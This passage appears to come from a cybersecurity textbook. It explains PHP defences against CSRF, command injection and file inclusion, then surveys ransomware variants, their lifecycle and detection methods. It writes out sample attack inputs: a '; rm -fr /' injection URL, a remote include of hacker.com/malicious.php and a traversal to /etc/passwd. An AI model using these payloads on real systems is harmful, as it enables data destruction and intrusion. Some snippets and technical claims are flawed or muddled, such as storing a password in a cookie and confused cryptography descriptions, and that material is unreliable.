a third party to guess. The online app will not proceed if it does not verify 
the token. In this way, only the legal user can submit requests within an 
authenticated session. In PHP, an unpredictable anti-CSRF token can be 
generated by the function random_bytes() [12] as shown in the following 
simple code.

//Generating an anti_CRF token
$_SESSION['token'] = bin2hex(random_bytes(32));
if (hash_equals($_SESSION['token'], $_POST 

['token'])) {
  // Action if token is valid
} else {
  // Action if token is invalid
}

15.4.4.4 Using a Random Value for each Form Field

PHP provides some functions such as random_int(), rand(), random_
bytes() etc. which generates pseudo random values [12]. A new random 
value for each form field is generated using an appropriate one and stored 
in its corresponding session every time when a form is submitted. A hacker 
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must guess these random values to mount a successful CSRF attack. It will 
not be easy for a hacker to guess them. Thus, this method can protect 
against CSRF attack. The following simple code demonstrates how to cre-
ate random values for form fields.

//Creating random values for each form field
public function form_names($names, $regen-

erate) {
$values = array();
foreach ($names as $n) {
if($regenerate == true) {unset($_SESSION 

[$n]);
$s=isset($_SESSION[$n]) ? $_SESSION[$n] : 

random_bytes(16);
$_SESSION[$n] = $s;
$values[$n] = $s;       
 }
return $values;
}

15.4.4.5 Limiting the Lifetime of Authentication Cookies

CSRF attacks may be minimized by reducing the period of cookies. If the 
user opens the other website and begins browsing it, cookies from the pre-
vious website will expire in a short period of time and the user needs to log 
in again for any activity he needs to take part. If a hacker tries to submit 
any HTTP request, it will not be successful since the server refuses the 
request because it will not receive session information due to the expira-
tion of cookies. In PHP, the lifetime of cookies can be limited by using the 
function setcookie() [12] as shown in the following simple code, which 
makes the cookie expire in 1 hour. 

//setting the lifetime of a cookie
setcookie("myCookie" , $password, time() + 

3600);

15.5 Command Injection

15.5.1 Introduction

SQL injection enables a hacker to execute arbitrary queries on a data-
base while command injection enables someone to do untrusted system 
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commands on a web server. An insecure server allows a hacker unautho-
rized access over a system.

Command injection known as shell injection is an attack that attempts 
to execute arbitrary commands on the host operating system through a 
vulnerable online app. Command injection attacks can occur when an 
application transmits insecure user-supplied information such as forms, 
cookies and HTTP headers to a system shell. In this attack, the malicious 
system commands are usually executed with the privileges of the vulnera-
ble online app [23, 24]. 

15.5.2 Exploitation Techniques

System commands can be executed by using functions such as exec(), eval(), 
shell_exec() and system () [24]. Command injection can be exploited in the 
application containing these functions without sanitizing inputs. This vul-
nerability appears most commonly in the form inputs. Entering an injec-
tion operator and a system command in the form field is the most effective 
way to exploit command injection. The injection operator symbolized as ; 
is used to separate commands and to signal the start of a new command. 
The injection operator symbolized as & is used to run the first command 
and then the second command. The injection operator symbolized as && 
is used to run the command following && only if the preceding command 
is successful. The injection operator symbolized as || is used to run the first 
command and then to run the second command only if the first command 
did not complete successfully on Windows [23, 24].

The following PHP script allows a user to list directory contents on a 
web server. 

//list.php
<?php system('ls ' . $_GET['path']); ?>

It is vulnerable to a command injection attack. As any input is allowed, 
a hacker enters ; rm -fr / as an input for path. 

http://127.0.0.1/list.php?path=; rm -fr /

The web server will then run the system commands: ls; rm -fr / 
and attempt to delete all files from the server’s root system.

15.5.3 Causes of Vulnerability

Command injection attacks are mostly possible due to insufficient valida-
tion of system commands in the form input of online apps [23, 24].
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15.5.4 Protection Techniques

PHP supports a variety of functions such as exec(), passthru(), proc_open(), 
shell_exec(), and system() which execute system commands. All arguments 
passing to these functions must be escaped using escapeshellarg() or escape-
shellcmd() to make the malicious system command non-executable [12]. 
For each parameter, the input value should be validated. Therefore, all script 
functions that execute system commands must have the parameters carefully 
validated and escaped to protect command injection attack [23, 24]. 

The following PHP script is secure from command injection attack 
because of escaping input argument by using escapeshellarg().

<?php system('ls ' . escapeshellarg($_
GET['path'])); ?>

15.6 File Inclusion

15.6.1 Introduction

A file-inclusion vulnerability occurs when a vulnerable online app enables 
the user to submit malicious input into files or upload malicious file con-
tents to the server.

The consequence of successful file-inclusion exploitation will be remote 
code execution on the web server running the online app affected. Remote 
code execution can be used by a hacker to build a web shell on a web server 
that can be used to deface websites [25].

15.6.2 Exploitation Techniques

The techniques to exploit a file-inclusion vulnerability are classified into 
two variants [26, 27]:

• Remote File Inclusion
• Local File Inclusion.

15.6.2.1 Remote File Inclusion

Remote File Inclusion (RFI) lets a hacker manage the vulnerable online 
app dynamically to include a remote file which is an external file or a script 
including malicious codes. RFI attacks normally arise when the path to a 
file is obtained as an input by an online app without properly sanitizing it 
[26]. This enables to supply an external URL to the include function.
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The following vulnerable online app can be exploited by an RFI attack. 

//Get the filename from a GET input
$file = $_GET['file'];
//Unsafely include the file
include($file);

The following is an external URL submitted by a hacker to the include 
statement above.

http://hacker.com/malicious.php

The following HTTP request tricks the vulnerable online app into exe-
cuting malicious server-side code, such as a backdoor or a webshell.

http://application.com/?file=http://
hacker.com/malicious.php

In this case, the malicious file is included and runs with the execution 
permission of the server user running the online app. This way enables a 
hacker to execute any code on the web server he wants. 

15.6.2.2 Local File Inclusion

Local File Inclusion (LFI) lets a hacker trick the online app into executing 
files on the web server. LFI attack normally happens when the path to a file 
is obtained as an input by an application. If this input is regarded as trusted 
by the application, a local file may be applied in the include statement. An 
LFI attack can lead to disclosure of information, execution of remote code, 
or even XSS [27]. 

The following code has an LFI vulnerability.

//Get the filename from a GET input
$file = $_GET['file'];
// Unsafely include the file
include('directory/' . $file);

The above script enables the following HTTP request to trick the appli-
cation into executing a web shell that the hacker managed to upload it to 
the web server.

http://application.com/?file=../../
uploads/malicious.php
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The file submitted by the hacker in this case will be used and executed by 
the person who runs the online app. This enables a hacker to execute any 
malicious server-side code he wants.

Using LFI vulnerability, a Directory Traversal/Path Traversal attack can 
also be carried out by a hacker as follows.

http://application.com/?file=../../../../
etc/passwd

In the case above, a hacker will retrieve the contents of the /etc/passwd 
file that holds a list of users on the server. The ‘../’ characters stand for a 
folder traversal. The quantity of ‘../’ sequences rely on the configuration and 
the location of the end server on the victim PC. The Directory Traversal 
flaw can also be exploited by a hacker to manipulate log files like access.log 
or error.log, source code, and other confidential data.

15.6.3 Causes of Vulnerability 

File Inclusion vulnerabilities are usually caused when the path to a file is 
obtained as an input by online app without properly sanitizing it [25].

15.6.4 Protection Techniques

For a prevention of RFI vulnerabilities, PHP applications must be config-
ured with the functions: allow_url_include and allow_url_fopen set to off 
in php.ini file for malicious users not to be able to include remote files [12]. 
The applications should never include the remote files dependent on user 
input. If this is impossible, a whitelist of files that have access of file-inclu-
sion should be maintained by the applications. In this case, input valida-
tion is a much less efficient approach because hackers may use clever tricks 
to go around it [26].

allow_url_include = off
allow_url_fopen = off

For a prevention of LFI vulnerabilities, a suggested solution is to pre-
vent the forwarding of user-submitted input to any application filesys-
tem or framework API. If it is impossible, it needs to sanitize all such 
inputs by appending the exact file extension to the user-supplied file-
name [27]. 

PROOF



358 Cyber Security and Digital Forensics

//Appending file extension to the file to be 
included.

 $file = $_GET['file'].'doc';
 include($file);

For a prevention of path traversal attack, the application should append 
the input to the base directory after validating the supplied input. In PHP, 
the basename() function returns only the filename part of a specified path 
[12]. For instance, this means that basename(“../../../etc/passwd”) = passwd. 
The realpath() function returns an absolute pathname, but only if the file 
exists and if there are executable permissions for all folders in the hierarchy 
for the running script. For instance, this means  that realpath(“../../../etc/
passwd”) = /etc/passwd. 

//Appending base directory to the file to 
be included.

$file = basename(realpath($_GET['file']));
include($file);

15.7 Conclusion

Security is an important part in any programming language. Secure coding 
is also an essential knowledge for creating applications. A programming 
language has not only exploitable features but also secure features. Though 
some web vulnerability scanning and analysis tools have recently been 
developed, a web developer not only must well understand which features 
are exploitable and which features are secure and security supports but also 
apply exploitation techniques and protection techniques for a prevention 
of common malicious inputs to online apps’ vulnerabilities. Consequently, 
he can create a secure online app. This chapter supports a web developer 
essential knowledge and experiments to manage and create secure PHP 
online apps.
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Abstract 
Ransomware is a form of malware that encrypts a victim’s files. The attacker then 
demands a ransom from the victim to restore access to the data upon payment. 
Ransomware is a way of stealing money in which a user’s files are encrypted and the 
decryption key is held by the attacker until a ransom amount is paid by the victim. 
Organizations need to have a full inventory of all the devices that are connected 
to the network and protect with an updated security solution. It is mandatory to 
study ransomware and its strategies to protect your computer system from being 
infected. Various types of ransomware attacks along with their features are stud-
ied by highlighting the major methodology used in the launching of ransomware 
attacks. Also, the comparative analysis of various ransomwares, detection mecha-
nisms as well as prevention policies against ransomware attacks are summarized. 

Keywords: Ransomware, malware, locker ransomware, crypto ransomware, 
MAC ransomware, ransomware lifecycle, ransomware detection, analysis, 
ransomware prevention, ransomware traits 

16.1 Introduction 

For decades, Ransomware has attracted great attention of cybersecurity 
experts due to the fast growth in its attack periphery and creation of lots 
of new variants capable to bypass security enforcements laid by antiviruses 
and anti-malwares. Most of them either encrypt the specific files on the 
victim’s machine or lock the complete system and stop the victim from 
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using it. Ransomware infects all the systems connected to the network. 
Ransomware has also been developed to attack mobile phones [2]. While 
attacking mobile phones it locks the mobile phone and demands a ransom 
amount to unlock the phone by generating a new PIN. According to the 
research, overall, 95% of organizations that paid the ransom had their data 
restored. Paying the ransom doubles the cost of dealing with a ransomware 
attack. Of attacks where the data was encrypted, 59% involved data in the 
public cloud. Most of them target businesses, agencies, data servers storing 
and dealing with sensitive and confidential data. 

There are various ways through which ransomware can enter your net-
work such as spam email attachment, infected pen drives or malicious 
links. It starts encrypting files once the system is infected through mali-
cious software [33]. Once the ransomware gets installed on the system it 
affects all the systems connected through the network. Once installed on 
the system it adds its own extension to the file making it inaccessible to 
the user. More dangerous types of ransomware can also work without user 
interaction (Figure 16.1) [35]. 

Distribution

Infection

Communication

File Search

Encryption

Ransom Deman

Figure 16.1 Working of ransomware.
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Stage 1: Distribution: Ransomware is distributed through various ways 
like phishing emails, malicious websites or infected pen drives. Pay Per 
Install (PPI) model was introduced, in which whenever the ransomware 
gets installed on the host machine, the agent gets paid. The following 
techniques are used to distribute the software: Traffic Distribution System 
(TDS), Spam-email, Malicious attachments, Botents. 

i. Traffic Distribution System (TDS): 
Whenever the user clicks the ad on a legitimate website, the user redirects 
to the destination URL through TDS. The computer then gets compro-
mised because of the drive-by-download exploits. 

ii. Malvertisement: 
Malicious Advertisements are used to distribute a malware with little to no 
user interaction required. It hits the user’s system without their knowledge. 
When it strikes, it turns common software programs against users to infect 
machines. Malicious Advertisements can get posted onto legitimate web-
sites. The system gets infected by clicking such advertisements. 

iii. Spam Email: 
Spam email is the old way to deliver ransomware to a victim’s devices. 
Botnets are used to send spam emails by targeting some email ids. They 
may include some links through which malicious attachments can be 
downloaded that contain an exploit kit. 

iv. Downloaders and Botnets: 
Their job is to download malicious software on the system. Sometimes it 
may use Trojans to spread the ransomware.  

Stage 2: File Search: It identifies the files that have common extensions like 
JPG, PDF, PPTX, etc., which are important to the user. To complete the 
malicious activities the following steps are used: 

 i. To identify the computer uniquely, generate a unique code.
 ii. The program is set to run-at-startup using some scheduled 

tasks. 
 iii. Deactivate shadow files, windows error recovery, and 

start-up repair. 
 iv. Stop Antivirus software, Windows update, etc. 
 v. Inject into explorer.exe and sychost.exe file. 
 vi. Retrieve the IP address of the computer. 
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Stage 3: Communication: It is a unique feature of ransomware. The backup 
files are removed from the system to prevent it from recovery. In this phase, 
the ransomware search for the files that have common extensions like JPG, 
PDF, PPTX, etc., which might be important to the user. The ransomware 
will communicate to the command-and-control server and generate the 
keys required for encryption. The data can be encrypted using various 
algorithms like RSA, RC4, etc.  

Stage 4: Encryption: The files identified on the target machine are 
encrypted in this phase. Strong encryption algorithms like AES 256 are 
used for encrypting the files. Files are renamed, moved, and encrypted. 
The scope of encryption is different for different types, e.g., CryptoWall 
v3 doesn’t encrypt filename, CryptoWall v4 gives random filenames, 
etc. Also, the file extensions are changed before applying the encryption 
algorithm.  

Stage 5: Ransom demand: It is the final stage, the instructions for payment 
are displayed on the screen once the files are encrypted. The user has the 
only choice of opening the note and follow the steps given by the attacker 
to pay the ransom amount. The user is given few days to pay the ransom to 
get back the original data. 

16.2 Types of Ransomwares

The effect of Ransomware is continuously increasing day-by-day, and it’s 
hard to keep track of the different strategies of ransomware. Each ransom-
ware variant has its own way of spreading. We can categorize ransomwares 
based on various parameters like their way of encryption, how they are 
executed, the encryption algorithm they used and the operating system on 
which the ransomware gets executed. There are various types of ransomware 
(Figure 16.2). The way of spreading and working of each attack varies for 
each of them [35]. 

16.2.1 Locker Ransomware 

Locker ransomware is a virus that infects PCs making the computer inac-
cessible to the victim until the ransom amount is paid. Locker ransomware 
locks and shuts down the entire computer. Typically, the infected system 
gives limited access to the victim, e.g., some sections of the computer 
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may get locked. It only allows the victim to respond to the ransomware 
demands. Locker ransomware usually does not infect the entire computer 
network. The severity of this ransomware is medium [35]. 

16.2.1.1 Reveton Ransomware 

This is a locker ransomware. It displays the fake message on the screen 
showing that the system is locked due to an illegal activity happening on 

Types of Ransomware

Locker Ransomware Crypto Ransomware MAC Ransomware

1. Reveton

2. Locky

3. CTB-Locker

4. Torrent-locker

1. Pc Cyborg

2. OneHalf

3. GPCode

4. CryptoLocker

5. CryptoDefense

6. CryptoWall

7. TeslaCrypt

8. Cerber

9. Jigsaw
10. BadRabbit

11. WannaCry

12. Petya

13. Gandcrab

14. Rapid

15. Ryuk

16. Lockergoga

17. PewCrypt

18. Dharma/Crysis

19. Phobos

20. Malito

21. LockBit

22. GoldenEye

23. REvil / Sodinokibi

24. Nemty

25. Nephilim

26. Maze

27. Sekhmet

1. KeyRanger

2. GoPher

3. FBI Ransom

4. FileCoder

5. Patcher

6. ThiefQuest

7. Keydnap

8. BirdMiner

Figure 16.2 Types of ransomwares.
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the system, once the system gets infected. It also displays a ransom note 
on the locked screen. This ransomware is spread by Drive-by downloads, 
compromised webserver. Along with the ransom amount, this ransomware 
also steals some user credentials. The ransom amount is to be paid within 
48 hours from the attack. 

16.2.1.2 Locky Ransomware 

Locky ransomware can be spread through malicious text documents using 
the macros. Once the user has opened such kind of document it is not in 
a readable format, so the popup is displayed in the document which con-
tains the enable macro-option. If the user clicks the option, the system gets 
infected [24]. 

16.2.1.3 CTB Locker Ransomware 

CTB locker stands for “Curve-Tor-Bitcoin-Locker”. It uses public key cryp-
tography based on elliptic curves. It uses cryptographically secured keys 
for encryption. It uses elliptic curve cryptography (ECC). It is more bene-
ficial to use ECC over RSA. To generate the public keys AES algorithm is 
used and to decrypt the files ECC public key is used. 

16.2.1.4 TorrentLocker Ransomware

TorrentLocker is spread through infected spam emails. And to 
make it more interesting, with these infected emails, the creators of 
TorrentLocker specifically target countries rather than as many coun-
tries around the world as possible. The popular technique, often referred 
to as “process hollowing,” is used by TorrentLocker, where a legitimate 
Windows system process is started in a suspended state, malicious code 
is inserted into the process, the main thread’s ThreadContext structure 
is modified to point to the malicious code and the process is resumed 
[41]. TorrentLocker communicates with its command and control 
server via HTTPS POST requests. The ransom request will be shown 
after all the available files on the device have been encrypted. The data 
that was initially downloaded when TorrentLocker first contacted its 
command and control server is the text of the ransom demand note 
[42].

PROOF



Ransomware: Threats, Identification and Prevention 367

16.2.2 Crypto Ransomware 

Crypto ransomware finds valuable data on the computer, encrypts it and 
locks the victim’s access [23]. This type of ransomware is very severe. 
Crypto ransomware is the most dangerous type of ransomware; it uses 
advance encryption and cryptography techniques which makes it more 
difficult to detect [35]. Crypto Ransomware looks for weaknesses and flaws 
in the computer system, searching out data that has not been backed up. 
Crypto Ransomware typically does not lock the entire computer. Victims 
can be able to access the files which are not encrypted. 

16.2.2.1 PC Cyborg Ransomware 

PC Cyborg Ransomware is distributed via a disk known as the Introductory 
Diskette AIDS data. This ransomware substitutes autoexec for this. The Bat 
file was used to count the number of reboots in the system. This hides all 
folders until it hits the count of 90 and then encrypts the name of all the files 
that are on the drive files. The victim is asked to pay the ransom by sending 
it via a post office box in Panama once the files are encrypted. There is more 
than one version of AIDS, but after AIDS is installed, another version does 
not wait until 90 boots; instead it operates once the first boot. 

16.2.2.2 OneHalf Ransomware 

OneHalf is a destructive virus. This is the incremental type of ransomware 
based on cryptology concepts. Whenever the infected system gets started, 
it encrypts the two more files which are not encrypted yet. It is hard to 
remove this attack as it has a unique payload. You cannot recover your 
system even if you have a backup of the data. 

16.2.2.3 GPCode Ransomware 

GPCode ransomware uses symmetric key for encryption, through which 
the user can easily recover the encrypted data. The RSA algorithm is 
used to generate the public keys. Once the GPCode ransomware gets 
installed on the system, the user can no longer access anything from the 
MyDocuments space. Once the ransom amount is paid, the victim can 
get the data back. 
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16.2.2.4 CryptoLocker Ransomware 

If the CryptoLocker is mounted on the victim’s computer, it encrypts 
all the files stored on the desktop and some network files and waits for 
the ransom amount to be paid by the consumer [30]. The ransom note 
is shown to the user if the user attempts to open the infected file. To 
generate the encryption keys, it uses the RSA 2048 algorithm [33]. The 
decryption process is written using .html or .txt files. This ransomware 
uses stronger encryption methods that only offer access to those users 
that have the secret key. Encryption can also allow contact with the c2 
server stronger [31].

16.2.2.5 CryptoDefense Ransomware 

CryptoDefense ransomware uses RSA 2048 technique for key generation. 
Unlike CryptoLocker instead of generating keys in command-and-control 
server, it generates the keys using Windows CryptoAPI. The normal user 
can think this a bit difficult, but a technical user can easily bypass this tool 
to decrypt the data. 

16.2.2.6 CryptoWall Ransomware 

CryptoWall is the improved version of CryptoDefense ransomware. It is 
generally spreading through spam mails. CryptoWall spreads extremely 
fast, and it is the easiest type of ransomware which comes with low costs. It 
also deletes the shadow volume copies of the files alongside the encryption 
files. 

16.2.2.7 TeslaCrypt Ransomware 

TeslaCrypt does not encrypt files that are larger than 268 MB. The encryp-
tion of the files is done using Advanced Encryption Standard (AES) algo-
rithm [14]. The Tesla Crypt C2 servers and ransom payment server work 
as hidden servers which provide anonymity. Communication between a 
compromised system and the c2 infrastructure is encrypted by the Secure 
Socket Layer protocol [24].

16.2.2.8 Cerber Ransomware 

Cerber is a Ransomware-as-a-service model. Cerber ransomware takes 
control of your desktop screen displaying the ransom note. The Key 
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backup is one of the best options to recover from the Cerber Ransomware 
[9, 28]. 

16.2.2.9 Jigsaw Ransomware 

Jigsaw is an encryption-based ransomware. Jigsaw is a type of ransomware 
which tries to delete the files if the user does not pay the ransom amount 
within one hour. 

16.2.2.10 Bad Rabbit Ransomware 

Bad Rabbit ransomware spreads through drive-by-downloads. The target 
of this ransomware is to visit the legitimate website and attach the mali-
cious software executable into the website. This ransomware is installed 
with the user interactions [18]. 

16.2.2.11 WannaCry Ransomware 

WannaCry is a type of Crypto Ransomware. It works in two ways, either 
by encrypting files or locking your data. It adds WCRY extension to the 
file. The ransom note indicates that if the ransom is not paid, then it gets 
doubled after three days. It also claims that if the ransom is not paid within 
7 days, then the encrypted files will be deleted [3]. 

16.2.2.12 Petya Ransomware 

Petya is a type of encrypting malware. Petya Ransomware spreads through 
EternalBlue vulnerability in Microsoft Windows. It spreads more easily 
than WannaCry. It uses the Master Book Record of the windows system to 
encrypt the data. 

16.2.2.13 Gandcrab Ransomware 

GandCrab Ransomware uses ransomware-as-a-service model. It encrypts 
only one document at a time. The encryption algorithms such as RSA, AES 
and RC4 are used to generate the encryption keys. Gandcrab ransomware gen-
erates the public key by communicating to the command-and-control server 
[51]. It also deletes the copies of the encrypted files’ shadow amount. The traffic 
is encrypted with a hard-coded RC4 key. Once they get hold of this key, and if 
they also have everything, they need to decrypt the user’s files. Unfortunately, 
it is very difficult if the average user does not keep traffic logs [14]. 
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16.2.2.14 Rapid Ransomware 

Rapid ransomware stays active on the system, once the system is infected.  
It encrypts each newly generated file on the system. This is done by setting 
auto-run. It is better if the victim shuts down the system as early as pos-
sible. Once encryption is done, it opens a text file which is a ransom note 
saved as a recovery.txt. Its data recovery rate is extremely high, once the 
ransom is paid to the attacker. 

16.2.2.15 Ryuk Ransomware 

Once the attacker finds a suitable system, two files with two keys such as 
RSA public key and Hardcoded key are uploaded within the subfolder. 
Here the Ryuk encryption starts. Ryuk Ransomware does not encrypt the 
files with .dll or .exe extensions. Its encryption is based on AES-256 tech-
nique [8].

16.2.2.16 Lockergoga Ransomware 

Once Lockergoga Ransomware is installed on the system, it changes 
the system’s password. The currently logged in users on the systems 
are forcefully logged off from the system by Lockergoga Ransomware. 
It leaves the ransom note on the desktop once the encryption is done. 
Lockergoga ransomware also tries to change the system’s Wi-Fi pass-
word [26]. 

16.2.2.17 PewCrypt Ransomware 

In PewCrypt Ransomware, the data is encrypted through the AES-256 
algorithm. The newly generated decryption key is also generated using 
RSA-2048 technique. To decrypt the data, the victim must have these two 
keys. Sometimes, these keys are hidden from the victim by storing it on the 
remote server [19]. 

16.2.2.18 Dhrama/Crysis Ransomware

Dharma ransomware follows Ransomware-as-a-service Model. This is 
one of the dangerous ransomwares based on cryptology. Asymmetric 
Cryptography technique is used to generate the keys used for encryption. 
Dharma ransomware can also spread through the Remote Network. This 
ransomware is easily available to everyone [49].
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16.2.2.19 Phobos Ransomware

Once installed on the system, it generates an application folder on the 
specific location where the executable is installed. Phobos Ransomware 
generates a unique ID and email for victim. AES cryptography is used for 
the encryption by phobos ransomware. To display the ransom note on the 
infected machine, it generates the .html file [6]. 

16.2.2.20 Malito Ransomware

Malito ransomware typically spreads through Word or Excel files. It 
uses PowerShell Dropper to spread the ransomware. Once the files are 
encrypted, Malito ransomware renames it with developer’s email address. 
Along with this, it also adds file extensions which is a victim’s Unique ID 
generated by the attacker [20]. 

16.2.2.21 LockBit Ransomware

LockBit exploits SMB, ARP tables, and PowerShell to spread the malware 
through a compromised network. To retrieve their data, an anonymous ran-
somware survivor refused to back up his data and was forced to pay the ran-
som. LockBit files encrypts the file and renames it with  .abcd extension [21]. 

16.2.2.22 GoldenEye Ransomware

GoldenEye is a mixture of ransomware-type viruses like Petya and 
MISCHA. GoldenEye is spread using a spam email message, just as with 
Petya and MISCHA [50].

16.2.2.23 REvil or Sodinokibi Ransomware

REvil distributes ransomware via exploit kits, scan-and-exploit techniques, 
RDP servers, and backdoored software installers. Ransomware is reportedly 
hitting organizations and demanding cryptocurrency ransom to return the 
decryption key to unlock infected files. To encrypt sensitive data, it is import-
ant to know how ransomware attacks and invades information systems.

16.2.2.24 Nemty Ransomware

Nemty runs on a RaaS model (Ransomware-as-a-Service). Nemty is a new 
variant of ransomware which adds .EMPTY extension to the encrypted file 
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names. Nemty is a ransomware that detects and eliminates shadow copies 
of files until they are encrypted, making it harder for users to recover files 
without paying the ransom.

16.2.2.25 Nephilim Ransomware

Nephilim adds a unique extension to all encrypted files on the network. 
The extension is different per victim. At present, vulnerable RDP services 
are the primary method of delivery. AES-128 and RSA-2048 algorithms 
are used for encryption. The only way to recover the data is to decrypt it 
with the tools that can only be bought from the developers of NEPHILM  
[52].

16.2.2.26 Maze Ransomware

Not only does Maze ransomware demand payment for a decryptor, but it 
exfiltrates victim data and threatens to publicly leak it if the target does 
not pay up. The user infected with this ransomware cannot access any 
files or data until a ransom is paid [54]. It adds random extensions to 
the encrypted files. This ransomware creates a “DECRYPT-FILES.html” 
file by changing the desktop wallpaper along with the ransom message. 
The wallpaper notes that Maze encrypts files with RSA-2048 and ChaCha 
algorithms, and buying a decryption tool is the only way to recover 
locked/encrypted files [35].

16.2.2.27 Sekhmet Ransomware

Sekhmet Ransomware operates by encrypting data and demanding ransom 
payments for decryption. Random extensions are added to the file names 
after successful encryption. Note that these extensions do not simply vary 
from infection to infection; on the same computer, they may be different. 
As a result, victims may find that some of their files have one extension, 
while others are different. A ransom message (“RECOVER-FILES.txt”) is 
dropped into any compromised folder after the encryption process is com-
plete [36]. 

16.2.3 MAC Ransomware 

These are the ransomwares that infect only the MAC Operating System. 
These are rare cases of ransomwares, but if found it becomes more dan-
gerous [5]. Q3
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16.2.3.1 KeRanger Ransomware

It is the first ransomware targeted on the MAC OS. This ransomware 
can spread through infected applications. It the malicious application is 
installed on the system containing KeRanger binded into it, along with 
the application, it also gets installed on the system. Once installed, it waits 
for three days before starting to encrypt files. KeRanger ransomware com-
municates to the Command-and-control server before it starts encrypting. 
It also tries to encrypt Time Machine Backup files, so that the victim can 
never get their data back from backup [5].

16.2.3.2 Go Pher Ransomware

Go Pher ransomware is based on Crypto family. Go Pher ransomware uses 
two asymmetric keys for encryption, so it is more difficult to detect [4].

16.2.3.3 FBI Ransom Ransomware

The ransomware was called FBI Ransomware because it uses the FBI’s name. 
OS X Mac users are threatened by the latest ransomware versions. This new 
version is not malware; it appears as a webpage that loads multiple iframes 
(browser windows) using JavaScript and allows victims to close each iframe. 
Before understanding that all iframes must be locked, cyber criminals expect 
victims will pay the requested ransom. The ransomware is pushed to victims’ 
computers when they browse common websites, specifically when they query 
popular search terms. The victim’s computer shows a pop-up alert that appears 
to be from the FBI until the web browser is exploited. In order to make the alert 
look more legitimate, cyber criminals use ‘FBI.gov’ inside the URL [43].

16.2.3.4 File Coder

FileCoder Trojans are Trojan infections on the victim’s machine that encrypt 
the content. FileCoder ransomwares spreads through drive-by-download 
or spam emails. FileCoder infection is a form of ransomware. Essentially, 
in return for decrypting software, they take the victim’s computer hostage, 
encrypt the victim’s files and then demand the payment of a ransom. 

16.2.3.5 Patcher

Patcher is downloaded via Bit-torrent. The presence on computers of this 
infection begins with a torrent file that downloads a .zip folder of any 
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software [44]. The user open this file to launch a software crack, but they 
do not find the software there. Instead, the user is starting the ransomware 
infection [45].

16.2.3.6 ThiefQuest Ransomware  

Not only does this ransomware encrypt the data on the device, it also 
installs a keylogger, remote shell and steals wallet-related cryptocurrency 
files from infected hosts. Even after the victim’s ransom has been paid, the 
attacker continues to have access to the computer and can exfiltrate files 
and keystrokes. This ransomware is distributed through legitimate applica-
tions on torrent websites such as Little Snitch, Ableton, and Mixed in Key. 
After the installer is launched, ThiefQuest will start encrypting the files by 
adding a BEBABEDD marker at the end [46].

16.2.3.7 Keydnap Ransomware

This malware installs via a new twist on an old theme. The “dropper” (the 
program that installs the malware) comes in the form of a harmless doc-
ument. A lot of different forms have been discovered, masquerading as 
Microsoft Word files, JPEG images and plain text files. Keydnap ransom-
ware uses a new trick, i.e., it adds a blank space at the end of file exten-
sion name, e.g., “logo.jpg” will look like “logo.jpg”. Since the file is really 
a Mach-O executable file, it will run in the Terminal by double-clicking it 
instead of opening a JPEG file as the user would expect [47].

16.2.3.8 Bird Miner Ransomware

Bird Miner is the name of a malicious software that mines cryptocurrency 
via emulation using computer resources. Research shows that two miners 
are running for this, which means that they consume a large amount of 
resources. Bird Miner is believed to be spread by cyber criminals using an 
installer for a hacked (pirated) edition of ValhallaVintageVerb program [48].

16.3 Ransomware Life Cycle 

There are various phases of ransomware life cycle (Figure 16.3). First, the 
ransomware is distributed through various ways such as malicious links, 
spam emails, etc. Downloading those malicious attachments will infect 
the system [29]. Once infected, the encryption of the system’s file process 
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starts. Once the files are encrypted, the ransom note is displayed to the 
victim which demands ransom [3].

Ransomware goes through the following six-stage life cycle [15]:  

1. Distribution: In the first stage, the ransomware is distrib-
uted and installed on the victim’s system. It includes opening 
spam e-mail attachments, downloading malicious software, 
etc. 

2. Infection: Once the .exe file is downloaded on the user’s sys-
tem, it starts infecting the system.  

3. Staging: It is the phase where the ransomware performs var-
ious operations like moving itself to a new folder and then 
starts operating; it also looks for proxy settings, user acces-
sibility. It also deletes shadow copies of its original files from 
the system using various commands.  

4. Scanning: Now the ransomware has set itself up. The next 
step is to scan the local directories and drives to search 
for the files with some specific extensions. Some ransom-
wares also look for cloud storage repositories such as Box, 
Dropbox, etc. 

2. Infection

3. Stagging

1. Distribution

6. Ransom Demand

5. Encription

4. Scanning

Figure 16.3 Ransomware life cycle.
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5. Encryption: In this phase, local files or network files are 
encrypted by the ransomware. Upon each file opening, the 
ransom note is displayed to the user. Some ransomwares dis-
play the note on the screen by which the user cannot access 
the system; all the user can do is follow the steps given in the 
note and pay the ransom. 

6. Ransom Demand: Once the encryption is completed, the 
ransomware displays the ransom note on the screen. The 
ransom note contains the instructions about the payment. 
After the payment is completed, the user is provided with 
the link through which the user can download the decryp-
tion key. 

16.4 Detection Strategies 

16.4.1 UNEVIL

A Novel dynamic analysis system, specially designed for the detection of 
ransomware. This technique creates an artificial user environment auto-
matically and detects when ransomware interacts with user systems. At the 
same time, it tracks the changes made to the systems desktop. This tech-
nique can detect previously identified ransomwares [11]. 

16.4.2 Detecting File Lockers

There are various techniques through which file lockers are detected such 
as Generating Artificial User Environments, File System activity Monitor, 
I/O Data Buffer Entropy, and Constructing Access Patterns. All these tech-
niques are used to detect the file lockers ransomwares [11]. 

i. Generating Artificial User Environments: The user environ-
ment is made up of various contents such as digital images, 
audio files, etc. There are some parameters which are consid-
ered for generating user environments such as valid content, 
File Paths and Time attributes. In valid content, generated 
files become more difficult for the attacker to detect by add-
ing valid headers and content using standard libraries such 
as python-docx, OpenSSL, etc. In File Paths, the path length 
of the generated user file is generated randomly. In time 
attribute, files are generated with different creation, modifi-
cation, and access times.  
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16.4.3 Detecting Screen Lockers

The displayed ransom note is automatically detected by the attackers by 
monitoring the desktop of the victim’s machine [11].  

16.4.4 Connection-Monitor and Connection-Breaker Approach

This approach can detect all the High Survivable Ransomwares before the 
encryption process starts. In this approach, if any application wants to con-
nect CC, then it is only allowed if it has a Verifies Required Connection 
Address (VRCA). If the application with no VRCA tries to connect to CC, 
then it is detected as suspicious activity and all other users can report this 
suspicious connection address to experts. In addition, the concept of aug-
mented code signing certificate is added, which will calculate the hash of 
the executables to check its integrity [1]. 

16.4.5 Ransomware Detection by Mining API Call Usage

Once the executable is received on the system, this technique can iden-
tify it whether it is a ransomware or a malicious software which is non- 
ransomware. This method is executed in three steps [32]:  

I. Feature Extraction and Analysis: By performing detail anal-
ysis of the executables, features are extracted which are used 
in the next classification phase. 

II. Dealing with class imbalance: When there are more exam-
ples of one target than another, then class imbalance occurs. 
This problem is solved in this API call mining by using 
smote technique. 

III. Classification: The data extracted in the feature extraction 
phase are classified in this phase using some techniques 
like decision tree classifier. The classified data will then be 
labelled as Ransomware or Benign application. The appli-
cation is accessible to the user once the classification of the 
application is done. 

